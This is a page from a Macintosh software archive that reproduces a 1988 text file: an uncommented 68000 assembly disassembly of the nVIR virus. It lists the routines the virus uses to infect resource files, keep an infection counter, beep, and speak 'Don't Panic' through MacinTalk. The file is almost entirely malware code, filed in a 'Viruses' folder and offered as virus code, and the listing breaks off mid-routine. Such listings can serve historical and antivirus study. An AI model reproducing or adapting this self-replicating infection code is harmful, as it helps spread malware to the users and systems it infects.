home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Freaks Macintosh Archive
/
Freaks Macintosh Archive.bin
/
Freaks Macintosh Archives
/
Viruses
/
VirusCode.sit
/
Virus Code
/
nVIR Disassembled
< prev
next >
Wrap
Text File
|
1988-11-15
|
28KB
|
1,252 lines
;Seg 1 = nVIR ID# 1 proc 1 of 7 (local)
0000: L0000 BRA.S L0006
0002: L0002 ORI.B #$00,D0
0006: L0006 MOVEA.L L0002,A0
000A: JSR (A0)
000C: MOVEA.L (A7),A0
000E: CLR.L (A7)
0010: MOVE.B #$03,-(A7)
0014: MOVE.L A0,-(A7)
0016: JMP L001A
001A: L001A LINK A6,#$0000
001E: MOVE.L $000A(A6),-(A7)
0022: MOVE.B $0008(A6),-(A7)
0026: JSR locProc2
002A: UNLK A6
002C: MOVEA.L (A7)+,A0
002E: ADDQ.W #6,A7
0030: JMP (A0)
0032: .WORD $C34F,$4D50,$4320,$2020 ;[.OMPC ]
003A: .WORD 0 ;[........]
;Seg 1 = nVIR ID# 1 proc 2 of 7 (local)
0000: L003C LINK A6,#$FFF6
0004: MOVEM.L D5-D7/A3-A4,-(A7)
0008: MOVE.L $000A(A6),D6
000C: MOVE.B $0008(A6),D5
0010: CLR.L -(A7)
0012: JSR locProc4
0016: MOVEA.L (A7)+,A3
0018: CLR.L -(A7)
001A: MOVE.L $02A6,(A7)
001E: JSR locProc5
0022: CLR.W -(A7)
0024: _SetResLoad
0026: CLR.W -(A7)
0028: _CurResFile
002A: MOVE.W (A7)+,D7
002C: MOVEQ $01,D0
002E: CMP.B D5,D0
0030: SEQ D0
0032: TST.L D6
0034: SEQ D1
0036: AND.B D1,D0
0038: BEQ.S L007E
003A: MOVE.W #$001E,-(A7)
003E: _SysBeep
0040: BRA.S L00E2
0042: L007E CLR.W -(A7)
0044: _SetResLoad
0046: CLR.L -(A7)
0048: MOVE.L L012E,-(A7)
004C: MOVE.W #$000A,-(A7)
0050: _GetResource
0052: MOVEA.L (A7)+,A4
0054: MOVE.L A4,D0
0056: BNE.S L00E2
0058: MOVE.L A4,-(A7)
005A: _ReleaseResource
005C: MOVE.B #$01,-(A7)
0060: _SetResLoad
0062: CLR.L -(A7)
0064: MOVE.L L012E,-(A7)
0068: MOVE.W #$0007,-(A7)
006C: _GetResource
006E: MOVEA.L (A7)+,A4
0070: MOVE.L A4,D0
0072: SEQ D0
0074: MOVE.L D0,-(A7)
0076: CLR.W -(A7)
0078: _ResError
007A: MOVE.W (A7)+,D1
007C: MOVE.L (A7)+,D0
007E: TST.W D1
0080: SNE D1
0082: OR.B D1,D0
0084: BNE.S L00E2
0086: MOVE.L A4,-(A7)
0088: _DetachResource
008A: MOVE.L A4,-(A7)
008C: JSR locProc7
0090: MOVE.L A3,-(A7)
0092: JSR locProc5
0096: MOVE.L D6,-(A7)
0098: MOVE.B D5,-(A7)
009A: MOVE.L (A4),-(A7)
009C: JSR locProc3
00A0: MOVE.L A4,-(A7)
00A2: JSR locProc6
00A6: L00E2 MOVE.W D7,-(A7)
00A8: _UseResFile
00AA: MOVE.B #$01,-(A7)
00AE: _SetResLoad
00B0: MOVE.L A3,-(A7)
00B2: JSR locProc5
00B6: MOVEQ $01,D0
00B8: CMP.B D5,D0
00BA: BNE.S L0118
00BC: MOVE.W D7,-(A7)
00BE: _UpdateResFile
00C0: CLR.L -(A7)
00C2: MOVE.L L012E,-(A7)
00C6: MOVE.W #$0002,-(A7)
00CA: _GetResource
00CC: MOVEA.L (A7)+,A4
00CE: MOVE.L A4,D0
00D0: BNE.S L0110
00D2: _ExitToShell
00D4: L0110 MOVEA.L (A4),A0
00D6: MOVEA.L D6,A1
00D8: MOVE.L (A0)+,(A1)+
00DA: MOVE.L (A0)+,(A1)+
00DC: L0118 MOVEM.L (A7)+,D5-D7/A3-A4
00E0: UNLK A6
00E2: MOVEA.L (A7)+,A0
00E4: ADDQ.W #6,A7
00E6: JMP (A0)
00E8: .WORD $C94E,$5354,$2020,$2020 ;[.NST ]
00F0: .WORD 4,$6E56,$4952 ;[..nVIR..]
;Seg 1 = nVIR ID# 1 proc 3 of 7 (local)
0000: L0132 MOVEA.L (A7)+,A0
0002: MOVEA.L (A7),A1
0004: MOVE.L A0,(A7)
0006: JMP (A1)
;Seg 1 = nVIR ID# 1 proc 4 of 7 (local)
0000: L013A _GetZone
0002: MOVE.L A0,$0004(A7)
0006: JMP L015C
;Seg 1 = nVIR ID# 1 proc 5 of 7 (local)
0000: L0144 MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _SetZone
0006: JMP L015A
000A: MOVEA.L (A7)+,A1
000C: MOVE.L (A7)+,D0
000E: _CompactMem
0010: MOVE.L D0,(A7)
0012: NOP
0014: MOVEQ $00,D0
0016: L015A MOVE.L A1,-(A7)
0018: L015C MOVE.W D0,$0220
001C: RTS
001E: .WORD $7000,$60F6 ;[p.`.....]
;Seg 1 = nVIR ID# 1 proc 6 of 7 (local)
0000: L0166 MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _DisposHandle
0006: JMP L015A
;Seg 1 = nVIR ID# 1 proc 7 of 7 (local)
0000: L0170 MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _HLock
0006: JMP L015A
;Seg 2 = nVIR ID# 2 proc 1 of 1 (local)
0000: L0000 ORI.B #$3C,D0 ;'<'
0004: ORI.B #$F0,D1
;Seg 3 = nVIR ID# 3 proc 1 of 7 (local)
0000: L0000 MOVEA.L (A7),A0
0002: CLR.L (A7)
0004: MOVE.B #$02,-(A7)
0008: MOVE.L A0,-(A7)
000A: JMP L000E
000E: L000E LINK A6,#$0000
0012: MOVE.L $000A(A6),-(A7)
0016: MOVE.B $0008(A6),-(A7)
001A: JSR locProc2
001E: UNLK A6
0020: MOVEA.L (A7)+,A0
0022: ADDQ.W #6,A7
0024: JMP (A0)
0026: .WORD $C34F,$4D50,$4320,$2020 ;[.OMPC ]
002E: .WORD 0 ;[........]
;Seg 3 = nVIR ID# 3 proc 2 of 7 (local)
0000: L0030 LINK A6,#$FFF6
0004: MOVEM.L D5-D7/A3-A4,-(A7)
0008: MOVE.L $000A(A6),D6
000C: MOVE.B $0008(A6),D5
0010: CLR.L -(A7)
0012: JSR locProc4
0016: MOVEA.L (A7)+,A3
0018: CLR.L -(A7)
001A: MOVE.L $02A6,(A7)
001E: JSR locProc5
0022: CLR.W -(A7)
0024: _SetResLoad
0026: CLR.W -(A7)
0028: _CurResFile
002A: MOVE.W (A7)+,D7
002C: MOVEQ $01,D0
002E: CMP.B D5,D0
0030: SEQ D0
0032: TST.L D6
0034: SEQ D1
0036: AND.B D1,D0
0038: BEQ.S L0072
003A: MOVE.W #$001E,-(A7)
003E: _SysBeep
0040: BRA.S L00D6
0042: L0072 CLR.W -(A7)
0044: _SetResLoad
0046: CLR.L -(A7)
0048: MOVE.L L0122,-(A7)
004C: MOVE.W #$000A,-(A7)
0050: _GetResource
0052: MOVEA.L (A7)+,A4
0054: MOVE.L A4,D0
0056: BNE.S L00D6
0058: MOVE.L A4,-(A7)
005A: _ReleaseResource
005C: MOVE.B #$01,-(A7)
0060: _SetResLoad
0062: CLR.L -(A7)
0064: MOVE.L L0122,-(A7)
0068: MOVE.W #$0007,-(A7)
006C: _GetResource
006E: MOVEA.L (A7)+,A4
0070: MOVE.L A4,D0
0072: SEQ D0
0074: MOVE.L D0,-(A7)
0076: CLR.W -(A7)
0078: _ResError
007A: MOVE.W (A7)+,D1
007C: MOVE.L (A7)+,D0
007E: TST.W D1
0080: SNE D1
0082: OR.B D1,D0
0084: BNE.S L00D6
0086: MOVE.L A4,-(A7)
0088: _DetachResource
008A: MOVE.L A4,-(A7)
008C: JSR locProc7
0090: MOVE.L A3,-(A7)
0092: JSR locProc5
0096: MOVE.L D6,-(A7)
0098: MOVE.B D5,-(A7)
009A: MOVE.L (A4),-(A7)
009C: JSR locProc3
00A0: MOVE.L A4,-(A7)
00A2: JSR locProc6
00A6: L00D6 MOVE.W D7,-(A7)
00A8: _UseResFile
00AA: MOVE.B #$01,-(A7)
00AE: _SetResLoad
00B0: MOVE.L A3,-(A7)
00B2: JSR locProc5
00B6: MOVEQ $01,D0
00B8: CMP.B D5,D0
00BA: BNE.S L010C
00BC: MOVE.W D7,-(A7)
00BE: _UpdateResFile
00C0: CLR.L -(A7)
00C2: MOVE.L L0122,-(A7)
00C6: MOVE.W #$0002,-(A7)
00CA: _GetResource
00CC: MOVEA.L (A7)+,A4
00CE: MOVE.L A4,D0
00D0: BNE.S L0104
00D2: _ExitToShell
00D4: L0104 MOVEA.L (A4),A0
00D6: MOVEA.L D6,A1
00D8: MOVE.L (A0)+,(A1)+
00DA: MOVE.L (A0)+,(A1)+
00DC: L010C MOVEM.L (A7)+,D5-D7/A3-A4
00E0: UNLK A6
00E2: MOVEA.L (A7)+,A0
00E4: ADDQ.W #6,A7
00E6: JMP (A0)
00E8: .WORD $C94E,$5354,$2020,$2020 ;[.NST ]
00F0: .WORD 4,$6E56,$4952 ;[..nVIR..]
;Seg 3 = nVIR ID# 3 proc 3 of 7 (local)
0000: L0126 MOVEA.L (A7)+,A0
0002: MOVEA.L (A7),A1
0004: MOVE.L A0,(A7)
0006: JMP (A1)
;Seg 3 = nVIR ID# 3 proc 4 of 7 (local)
0000: L012E _GetZone
0002: MOVE.L A0,$0004(A7)
0006: JMP L0150
;Seg 3 = nVIR ID# 3 proc 5 of 7 (local)
0000: L0138 MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _SetZone
0006: JMP L014E
000A: MOVEA.L (A7)+,A1
000C: MOVE.L (A7)+,D0
000E: _CompactMem
0010: MOVE.L D0,(A7)
0012: NOP
0014: MOVEQ $00,D0
0016: L014E MOVE.L A1,-(A7)
0018: L0150 MOVE.W D0,$0220
001C: RTS
001E: .WORD $7000,$60F6 ;[p.`.....]
;Seg 3 = nVIR ID# 3 proc 6 of 7 (local)
0000: L015A MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _DisposHandle
0006: JMP L014E
;Seg 3 = nVIR ID# 3 proc 7 of 7 (local)
0000: L0164 MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _HLock
0006: JMP L014E
;Seg 4 = nVIR ID# 6 proc 1 of 13 (local)
0000: L0000 ORI.B #$20,D0 ;' '
0004: JMP L0008
0008: L0008 LINK A6,#$0000
000C: MOVE.B $0008(A6),-(A7)
0010: JSR locProc4
0014: UNLK A6
0016: MOVEA.L (A7)+,A0
0018: ADDQ.W #2,A7
001A: JMP (A0)
001C: .WORD $D448,$4556,$4952,$5553 ;[.HEVIRUS]
0024: .WORD 0 ;[........]
;Seg 4 = nVIR ID# 6 proc 2 of 13 (local)
0000: L0026 LINK A6,#$0000
0004: MOVE.L A4,-(A7)
0006: MOVEA.L $0008(A6),A4
000A: CLR.W -(A7)
000C: MOVE.L $FEFC(A4),-(A7)
0010: LEA $FF00(A4),A0
0014: MOVE.L A0,D0
0016: ADDQ.L #1,D0
0018: MOVE.L D0,-(A7)
001A: CLR.W D0
001C: MOVE.B $FF00(A4),D0
0020: EXT.L D0
0022: MOVE.L D0,-(A7)
0024: MOVE.L $FEF6(A4),-(A7)
0028: JSR locProc13
002C: MOVE.W (A7)+,$FEFA(A4)
0030: TST.W $FEFA(A4)
0034: BNE.S L0076
0036: MOVE.L $FEF6(A4),-(A7)
003A: JSR locProc7
003E: CLR.W -(A7)
0040: MOVE.L $FEFC(A4),-(A7)
0044: MOVE.L $FEF6(A4),-(A7)
0048: JSR locProc12
004C: MOVE.W (A7)+,$FEFA(A4)
0050: L0076 MOVEA.L (A7)+,A4
0052: UNLK A6
0054: MOVE.L (A7)+,(A7)
0056: RTS
0058: .WORD $D341,$5949,$5420,$2020 ;[.AYIT ]
0060: .WORD 0 ;[........]
;Seg 4 = nVIR ID# 6 proc 3 of 13 (local)
0000: L0088 LINK A6,#$0000
0004: MOVE.L A4,-(A7)
0006: MOVEA.L $0008(A6),A4
000A: MOVE.L $FEFC(A4),-(A7)
000E: JSR locProc10
0012: TST.L $FEF6(A4)
0016: BEQ.S L00A8
0018: MOVE.L $FEF6(A4),-(A7)
001C: JSR locProc6
0020: L00A8 MOVEA.L $0008(A6),A0
0024: MOVEA.L A0,A6
0026: JMP L013C ;* EXIT *
002A: .WORD $0000
002C: MOVEA.L (A7)+,A4
002E: UNLK A6
0030: MOVE.L (A7)+,(A7)
0032: RTS
0034: .WORD $CD59,$4558,$4954,$2020 ;[.YEXIT ]
003C: .WORD 0 ;[........]
;Seg 4 = nVIR ID# 6 proc 4 of 13 (local)
0000: L00C6 LINK A6,#$FEF4
0004: MOVEM.L D3-D7/A2-A4,-(A7)
0008: MOVEQ $03,D0
000A: CMP.B $0008(A6),D0
000E: BEQ.S L00D8
0010: BRA.S L013C
0012: L00D8 CLR.W -(A7)
0014: PEA L0164
0018: PEA $FEFC(A6)
001C: JSR locProc8
0020: MOVE.W (A7)+,$FEFA(A6)
0024: TST.W $FEFA(A6)
0028: BEQ.S L00F8
002A: MOVE.W #$001E,-(A7)
002E: _SysBeep
0030: BRA.S L013C
0032: L00F8 CLR.B $FEF5(A6)
0036: MOVE.L $FEFC(A6),-(A7)
003A: CLR.W -(A7)
003C: MOVE.B $FEF5(A6),-(A7)
0040: JSR locProc11
0044: CLR.L -(A7)
0046: CLR.L -(A7)
0048: JSR locProc5
004C: MOVE.L (A7)+,$FEF6(A6)
0050: BNE.S L0120
0052: MOVE.L A6,-(A7)
0054: JSR locProc3
0058: BRA.S L013C
005A: L0120 LEA $FF00(A6),A0
005E: LEA L0156,A1
0062: MOVE.L (A1)+,(A0)+
0064: MOVE.L (A1)+,(A0)+
0066: MOVE.L (A1)+,(A0)+
0068: MOVE.W (A1),(A0)
006A: MOVE.L A6,-(A7)
006C: JSR locProc2
0070: MOVE.L A6,-(A7)
0072: JSR locProc3
0076: L013C LEA $FED4(A6),A7
007A: MOVEM.L (A7)+,D3-D7/A2-A4
007E: UNLK A6
0080: MOVEA.L (A7)+,A0
0082: ADDQ.W #2,A7
0084: JMP (A0)
0086: .WORD $C44F,$5649,$5255,$5320 ;[.OVIRUS ]
008E: .WORD $10,$C44,$6F6E,$2774 ;[...Don't]
0096: .WORD $2050,$616E,$6963,$2E00 ;[ Panic..]
009E: L0164 .WORD 0,$225F,$201F,$A04C ;[.."_ ..L]
00A6: .WORD $2E80,$4E71,$7000,$2F09 ;[..Nqp./.]
00AE: .WORD $31C0,$220,$4E75,$7000 ;[1.. Nup.]
00B6: .WORD $60F6 ;[`.......]
;Seg 4 = nVIR ID# 6 proc 5 of 13 (local)
0000: L017E MOVEA.L (A7)+,A1
0002: MOVE.L (A7)+,D0
0004: _NewHandle
0006: MOVE.L A0,(A7)
0008: JMP L0172
;Seg 4 = nVIR ID# 6 proc 6 of 13 (local)
0000: L018A MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _DisposHandle
0006: JMP L0172
;Seg 4 = nVIR ID# 6 proc 7 of 13 (local)
0000: L0194 MOVEA.L (A7)+,A1
0002: MOVEA.L (A7)+,A0
0004: _HLock
0006: JMP L0172
;Seg 4 = nVIR ID# 6 proc 8 of 13 (local)
0000: L019E MOVE.L A2,-(A7)
0002: MOVEQ $64,D0
0004: _NewHandle
0006: MOVEA.L $0008(A7),A1
000A: MOVE.L A0,(A1)
000C: TST.W D0
000E: BNE.S L01CE
0010: _HLock
0012: MOVEA.L (A0),A2
0014: MOVEQ $00,D0
0016: MOVEQ $18,D1
0018: MOVEA.L A2,A0
001A: L01B8 MOVE.L D0,(A0)+
001C: DBRA D1,L01B8
0020: CLR.W -(A7)
0022: PEA L028C
0026: _OpenResFile
0028: MOVE.W (A7)+,D0
002A: BPL.S locProc9
002C: MOVE.W $0A60,D0
0030: L01CE MOVEA.L (A7)+,A2
0032: MOVE.L (A7),$0008(A7)
0036: ADDQ.L #8,A7
0038: MOVE.W D0,$0004(A7)
003C: RTS
;Seg 4 = nVIR ID# 6 proc 9 of 13 (local)
0000: L01DC MOVE.W D0,$004A(A2)
0004: CLR.B -(A7)
0006: _SetResLoad
0008: CLR.L -(A7)
000A: MOVE.L #$44525652,-(A7) ;'DRVR'
0010: PEA L0284 ;.SPEECH
0014: _GetNamedResource
0016: MOVEA.L (A7)+,A1
0018: MOVE.W $0A60,D0
001C: BNE.S L01CE
001E: MOVE.B #$01,-(A7)
0022: _SetResLoad
0024: MOVEA.L $011C,A0
0028: ADDA.W #$0080,A0
002C: MOVE.W #$0020,D0
0030: L020C SUBQ.W #1,D0
0032: CMPI.W #$0012,D0
0036: BGT.S L021A
0038: MOVE.W #$F060,D0
003C: BRA.S L01CE
003E: L021A CMPI.L #$00000000,-(A0)
0044: BNE.S L020C
0046: MOVE.W D0,D1
0048: ADDQ.W #1,D1
004A: NEG.W D1
004C: MOVE.W D1,$0046(A2)
0050: MOVE.L A1,-(A7)
0052: MOVE.W D0,-(A7)
0054: CLR.L -(A7)
0056: _SetResInfo
0058: MOVE.L A1,-(A7)
005A: _LoadResource
005C: MOVE.W $0A60,D0
0060: MOVEA.L A1,A0
0062: _HLock
0064: MOVEA.L (A7)+,A2
0066: MOVEA.L (A7)+,A0
0068: MOVE.L (A7)+,D0
006A: MOVEA.L (A7)+,A1
006C: MOVE.L A0,-(A7)
006E: MOVE.L A2,-(A7)
0070: MOVEA.L D0,A2
0072: MOVEA.L (A2),A2
0074: MOVE.L A2,-(A7)
0076: MOVEA.L (A2),A2
0078: LEA (A2),A0
007A: MOVE.L A1,$003C(A0)
007E: LEA L0284,A1
0082: MOVE.L A1,$0012(A0)
0086: CLR.W $0016(A0)
008A: CLR.W $001A(A0)
008E: CLR.L $001C(A0)
0092: _Open
0094: MOVE.W $0010(A0),$000C(A7)
009A: MOVE.L $0034(A0),$0042(A2)
00A0: MOVEA.L (A7)+,A0
00A2: _HUnLock
00A4: MOVEA.L (A7)+,A2
00A6: RTS
00A8: L0284 .WORD $72E,$5350,$4545,$4348 ;[..SPEECH]
00B0: L028C .WORD $94D,$6163,$696E,$5461 ;[.MacinTa]
00B8: .WORD $6C6B ;[lk......]
;Seg 4 = nVIR ID# 6 proc 10 of 13 (local)
0000: L0296 MOVE.L A2,-(A7)
0002: MOVEA.L $0008(A7),A0
0006: _HLock
0008: MOVEA.L (A0),A2
000A: LEA (A2),A0
000C: UNKNOWN
000E: MOVE.W $004A(A2),D0
0012: BEQ.S L02AE
0014: MOVE.W D0,-(A7)
0016: _CloseResFile
0018: L02AE MOVEA.L $0008(A7),A0
001C: _HUnLock
001E: _DisposHandle
0020: MOVEA.L (A7)+,A2
0022: MOVE.L (A7),$0004(A7)
0026: ADDQ.L #4,A7
0028: RTS
;Seg 4 = nVIR ID# 6 proc 11 of 13 (local)
0000: L02C0 MOVEQ $00,D2
0002: MOVEA.L (A7)+,A1
0004: MOVE.B (A7)+,D2
0006: MOVE.W (A7)+,D1
0008: MOVEA.L (A7)+,A0
000A: MOVE.L A1,-(A7)
000C: MOVE.L A0,-(A7)
000E: _HLock
0010: MOVEA.L (A0),A1
0012: LINK A6,#$FFE0
0016: LEA $FFE0(A6),A0
001A: MOVE.W $0046(A1),$0018(A0)
0020: CLR.W $001A(A0)
0024: MOVE.W D2,$001C(A0)
0028: UNKNOWN
002A: MOVE.W #$0004,$001A(A0)
0030: MOVE.W D1,$001C(A0)
0034: UNKNOWN
0036: UNLK A6
0038: MOVEA.L (A7)+,A0
003A: _HUnLock
003C: RTS
;Seg 4 = nVIR ID# 6 proc 12 of 13 (local)
0000: L02FE MOVE.L (A7)+,D0
0002: MOVEA.L (A7)+,A1
0004: MOVEA.L (A7)+,A0
0006: MOVE.L D0,-(A7)
0008: MOVE.L A0,-(A7)
000A: _HLock
000C: MOVEA.L A1,A0
000E: _GetHandleSize
0010: MOVE.L A2,-(A7)
0012: MOVEA.L $0004(A7),A2
0016: MOVEA.L (A2),A2
0018: LEA (A2),A0
001A: MOVE.W $0046(A2),$0018(A0)
0020: MOVE.L A1,$0020(A0)
0024: MOVE.L D0,$0024(A0)
0028: UNKNOWN
002A: MOVEA.L (A7)+,A2
002C: MOVEA.L (A7)+,A0
002E: MOVE.W D0,-(A7)
0030: _HUnLock
0032: MOVE.W (A7)+,D0
0034: MOVE.W D0,$0004(A7)
0038: RTS
;Seg 4 = nVIR ID# 6 proc 13 of 13 (local)
0000: L0338 MOVEA.L $0010(A7),A0
0004: MOVE.L $000C(A7),$0010(A7)
000A: MOVE.L $0008(A7),$000C(A7)
0010: MOVE.L $0004(A7),$0008(A7)
0016: MOVE.L (A7),$0004(A7)
001A: ADDQ.L #4,A7
001C: _HLock
001E: MOVEA.L (A0),A0
0020: MOVEA.L $0042(A0),A0
0024: _HLock
0026: MOVEA.L (A0),A0
0028: JMP (A0)
002A: .WORD $4E75 ;[Nu......]
;Seg 5 = nVIR ID# 7 proc 1 of 14 (local)
0000: L0000 LINK A6,#$0000
0004: MOVE.L $000A(A6),-(A7)
0008: MOVE.B $0008(A6),-(A7)
000C: JSR locProc3
0010: UNLK A6
0012: MOVEA.L (A7)+,A0
0014: ADDQ.W #6,A7
0016: JMP (A0)
0018: .WORD $C34F,$4D50,$4320,$2020 ;[.OMPC ]
0020: .WORD 0 ;[........]
;Seg 5 = nVIR ID# 7 proc 2 of 14 (local)
0000: L0022 LINK A6,#$FFFC
0004: MOVE.L A4,-(A7)
0006: CLR.L -(A7)
0008: MOVE.L L007A,-(A7)
000C: MOVE.W #$0001,-(A7)
0010: _GetResource
0012: MOVEA.L (A7)+,A4
0014: MOVE.L A4,D0
0016: BEQ.S L0068
0018: MOVE.L A4,-(A7)
001A: _DetachResource
001C: MOVE.L A4,-(A7)
001E: JSR locProc9
0022: MOVEA.L (A4),A0
0024: MOVE.L A0,-(A7)
0026: CLR.L -(A7)
0028: MOVE.W #$A9CC,-(A7)
002C: JSR locProc12
0030: MOVE.L (A7)+,D0
0032: MOVEA.L (A7)+,A0
0034: MOVE.L D0,$0002(A0)
0038: MOVEA.L (A4),A0
003A: PEA $0006(A0)
003E: MOVE.W #$A9CC,-(A7)
0042: JSR locProc13
0046: L0068 MOVEA.L (A7)+,A4
0048: UNLK A6
004A: MOVE.L (A7)+,(A7)
004C: RTS
004E: .WORD $C94E,$5354,$414C,$4C54 ;[.NSTALLT]
0056: .WORD 4,$6E56,$4952 ;[..nVIR..]
;Seg 5 = nVIR ID# 7 proc 3 of 14 (local)
0000: L007E LINK A6,#$FFD0
0004: MOVEM.L D5-D7/A4,-(A7)
0008: MOVE.B $0008(A6),D7
000C: CLR.L -(A7)
000E: JSR locProc5
0012: MOVEA.L (A7)+,A4
0014: CLR.L -(A7)
0016: MOVE.L $02A6,(A7)
001A: JSR locProc6
001E: MOVEQ $01,D0
0020: CMP.B D7,D0
0022: SEQ D0
0024: TST.L $000A(A6)
0028: SEQ D1
002A: AND.B D1,D0
002C: BEQ.S L00B6
002E: MOVE.W #$001E,-(A7)
0032: _SysBeep
0034: BRA L0560
0038: L00B6 CLR.W -(A7)
003A: _CurResFile
003C: MOVE.W (A7)+,D6
003E: CLR.W -(A7)
0040: _UseResFile
0042: CLR.B D5
0044: MOVE.B #$01,-(A7)
0048: _SetResLoad
004A: CLR.L -(A7)
004C: MOVE.L L058C,-(A7)
0050: CLR.W -(A7)
0052: _GetResource
0054: MOVE.L (A7)+,$FFDC(A6)
0058: BNE.S L010E
005A: CLR.L -(A7)
005C: MOVEQ $02,D0
005E: MOVE.L D0,-(A7)
0060: JSR locProc7
0064: MOVE.L (A7)+,$FFDC(A6)
0068: BEQ L0560
006C: MOVEA.L $FFDC(A6),A0
0070: MOVEA.L (A0),A0
0072: MOVE.W #$03E8,(A0)
0076: MOVE.L $FFDC(A6),-(A7)
007A: MOVE.L L058C,-(A7)
007E: CLR.W -(A7)
0080: PEA L058A
0084: _AddResource
0086: CLR.W -(A7)
0088: _ResError
008A: TST.W (A7)+
008C: BNE L0560
0090: L010E MOVEA.L $FFDC(A6),A0
0094: MOVEA.L (A0),A0
0096: TST.W (A0)
0098: BNE.S L011C
009A: MOVEQ $01,D5
009C: BRA.S L0134
009E: L011C MOVEA.L $FFDC(A6),A0
00A2: MOVEA.L (A0),A0
00A4: SUBQ.W #1,(A0)
00A6: MOVE.L $FFDC(A6),-(A7)
00AA: _ChangedResource
00AC: CLR.W -(A7)
00AE: _ResError
00B0: TST.W (A7)+
00B2: BNE L0560
00B6: L0134 MOVE.W D6,-(A7)
00B8: _UseResFile
00BA: MOVE.L A4,-(A7)
00BC: JSR locProc6
00C0: MOVE.B D5,-(A7)
00C2: _SetResLoad
00C4: CLR.L -(A7)
00C6: MOVE.L L058C,-(A7)
00CA: MOVE.W #$0006,-(A7)
00CE: _GetResource
00D0: MOVE.L (A7)+,$FFF4(A6)
00D4: BEQ L0560
00D8: MOVE.B D5,D0
00DA: BEQ.S L0162
00DC: PEA $FFD0(A6)
00E0: JSR locProc14
00E4: L0162 MOVE.B D5,D0
00E6: BEQ.S L01C8
00E8: MOVEQ $0F,D1
00EA: AND.L D1,$FFD0(A6)
00EE: TST.L D1
00F0: SEQ D1
00F2: AND.B D1,D0
00F4: BEQ.S L01C8
00F6: CLR.L -(A7)
00F8: MOVEA.L $FFF4(A6),A0
00FC: MOVEA.L (A0),A0
00FE: MOVE.L (A0),-(A7)
0100: JSR locProc7
0104: MOVE.L (A7)+,$FFFC(A6)
0108: SNE D0
010A: TST.B D0
010C: BEQ.S L01C8
010E: MOVE.L D0,-(A7)
0110: CLR.W -(A7)
0112: MOVE.W $0220,(A7)
0116: MOVE.W (A7)+,D1
0118: MOVE.L (A7)+,D0
011A: TST.W D1
011C: SEQ D1
011E: AND.B D1,D0
0120: BEQ.S L01C8
0122: MOVE.L $FFFC(A6),-(A7)
0126: JSR locProc8
012A: MOVE.L $FFF4(A6),-(A7)
012E: JSR locProc9
0132: MOVE.B D7,-(A7)
0134: MOVEA.L $FFF4(A6),A0
0138: MOVE.L (A0),D0
013A: ADDQ.L #4,D0
013C: MOVE.L D0,-(A7)
013E: JSR locProc4
0142: MOVE.L $FFF4(A6),-(A7)
0146: JSR locProc10
014A: L01C8 CLR.W -(A7)
014C: _SetResLoad
014E: CLR.L -(A7)
0150: MOVE.L $02A6,(A7)
0154: JSR locProc6
0158: MOVE.B D7,D0
015A: EXT.W D0
015C: SUBQ.W #1,D0
015E: BEQ.S L01EC
0160: SUBQ.W #1,D0
0162: BEQ L0274
0166: SUBQ.W #1,D0
0168: BEQ.S L0230
016A: BRA L0284
016E: L01EC CLR.L -(A7)
0170: MOVE.L L0590,-(A7)
0174: MOVE.W #$0020,-(A7)
0178: _GetResource
017A: MOVE.L (A7)+,$FFEC(A6)
017E: BNE L0560
0182: MOVE.L $FFEC(A6),-(A7)
0186: _ReleaseResource
0188: CLR.L -(A7)
018A: MOVE.L L058C,-(A7)
018E: MOVE.W #$0003,-(A7)
0192: _GetResource
0194: MOVE.L (A7)+,$FFE8(A6)
0198: BEQ L0560
019C: CLR.L -(A7)
019E: MOVE.L L0586,-(A7)
01A2: MOVE.W #$0100,-(A7)
01A6: _GetResource
01A8: MOVE.L (A7)+,$FFEC(A6)
01AC: BEQ L0560
01B0: BRA.S L0294
01B2: L0230 CLR.L -(A7)
01B4: MOVE.L L0586,-(A7)
01B8: MOVE.W #$0100,-(A7)
01BC: _GetResource
01BE: MOVE.L (A7)+,$FFE8(A6)
01C2: BNE L0560
01C6: MOVE.L $FFE8(A6),-(A7)
01CA: _ReleaseResource
01CC: CLR.L -(A7)
01CE: MOVE.L L0590,-(A7)
01D2: MOVE.W #$0020,-(A7)
01D6: _GetResource
01D8: MOVE.L (A7)+,$FFE8(A6)
01DC: BEQ L0560
01E0: CLR.L -(A7)
01E2: MOVE.L L058C,-(A7)
01E6: MOVE.W #$0004,-(A7)
01EA: _GetResource
01EC: MOVE.L (A7)+,$FFEC(A6)
01F0: BEQ L0560
01F4: BRA.S L0294
01F6: L0274 MOVE.B #$01,-(A7)
01FA: _SetResLoad
01FC: MOVE.L A6,-(A7)
01FE: JSR locProc2
0202: BRA L0560
0206: L0284 MOVE.W #$001E,-(A7)
020A: _SysBeep
020C: MOVE.W #$001E,-(A7)
0210: _SysBeep
0212: BRA L0560
0216: L0294 CLR.L -(A7)
0218: MOVE.L L058C,-(A7)
021C: MOVE.W #$0001,-(A7)
0220: _GetResource
0222: MOVE.L (A7)+,$FFE0(A6)
0226: BEQ L0560
022A: CLR.L -(A7)
022C: MOVE.L L058C,-(A7)
0230: MOVE.W #$0007,-(A7)
0234: _GetResource
0236: MOVE.L (A7)+,$FFF8(A6)
023A: BEQ L0560
023E: MOVEQ $01,D0
0240: CMP.B D7,D0
0242: BNE.S L02D6
0244: CLR.L -(A7)
0246: MOVE.L L058C,-(A7)
024A: MOVE.W #$0002,-(A7)
024E: _GetResource
0250: MOVE.L (A7)+,$FFE4(A6)
0254: BEQ L0560
0258: L02D6 MOVEQ $03,D0
025A: CMP.B D7,D0
025C: BNE.S L02F0
025E: CLR.L -(A7)
0260: MOVE.L L058C,-(A7)
0264: MOVE.W #$0005,-(A7)
0268: _GetResource
026A: MOVE.L (A7)+,$FFF0(A6)
026E: BEQ L0560
0272: L02F0 MOVEQ $03,D0
0274: CMP.B D7,D0
0276: BNE.S L02FC
0278: MOVE.W D6,-(A7)
027A: _UseResFile
027C: BRA.S L0300
027E: L02FC CLR.W -(A7)
0280: _UseResFile
0282: L0300 MOVE.B #$01,-(A7)
0286: _SetResLoad
0288: MOVE.L $FFE0(A6),-(A7)
028C: _LoadResource
028E: CLR.W -(A7)
0290: _ResError
0292: TST.W (A7)+
